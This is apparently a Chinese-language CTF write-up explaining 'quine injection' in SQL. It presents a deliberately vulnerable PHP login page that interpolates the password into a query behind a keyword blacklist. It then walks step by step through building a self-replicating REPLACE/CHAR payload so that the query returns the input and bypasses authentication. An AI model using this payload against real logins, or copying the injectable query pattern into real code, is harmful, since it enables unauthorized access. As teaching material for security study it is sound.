什么是quine注入?
quine是一种计算机程序,它不接受输入并产生自己源代码的副本作为唯一的输出。 在ctf应用中,Quine注入的目的就是使得输入输出一致,绕过限制登录
例
<?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}
if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>
关键在于if ($row[‘password’] === $password) ,也就是说,我们查询出来的结果要和我们输入的密码强一致才能登录成功。也就是要用到quine这个“自己生自己”的技巧了
构造
基础语句
select replace(“.”,char(46),”.”);把”.”中的.换成了.(核心思路)
看这个语句
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")'); #查询语句
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")"); #输出语句

该查询语句的输出内容几乎和原查询语句相似,但引号却有所不同,原本的单引号变成了双引号,但我们却不能通过把查询语句的单引号变为双引号来避免,因为replace(“.”,char(46),”.”)字符串中有双引号,所以把它当作字符串写入replace时要用单引号,不然会报错
想要把’变为”,就可以嵌套一次replace,再用一次replace,使’变为”,通过此来构造
replace(".",char(34),char(39));#基础语句
replace(replace(".",char(34),char(39)),char(46),".");#通过该语句进行自我替换,但输出任为.
replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39));#将之前的语句当做字符串,从而来改变引号
最终语句
select replace(replace('select replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'select replace(replace(".",char(34),char(39)),char(46),".")');
分析
#语句分解
select replace(
replace(
'select replace(replace(".",char(34),char(39)),char(46),".")',
char(34),
char(39)
),
char(46),
'select replace(replace(".",char(34),char(39)),char(46),".")'
);
#把单引号里面的内容当做字符串
#外层的replace语句
replace(
'select replace(replace(".",char(34),char(39)),char(46),".")',
char(34),
char(39)
)
#将字符串里面的"替换成'
#结果为select replace(replace('.',char(34),char(39)),char(46),'.')
#最外层的replace就变为
replace(
'select replace(replace('.',char(34),char(39)),char(46),'.')',
char(46),
'select replace(replace(".",char(34),char(39)),char(46),".")'
)
#将'select replace(replace('.',char(34),char(39)),char(46),'.')'中的.,替换为select replace(replace(".",char(34),char(39)),char(46),".")
#从而语句就变为了replace(replace('select replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'select replace(replace(".",char(34),char(39)),char(46),".")');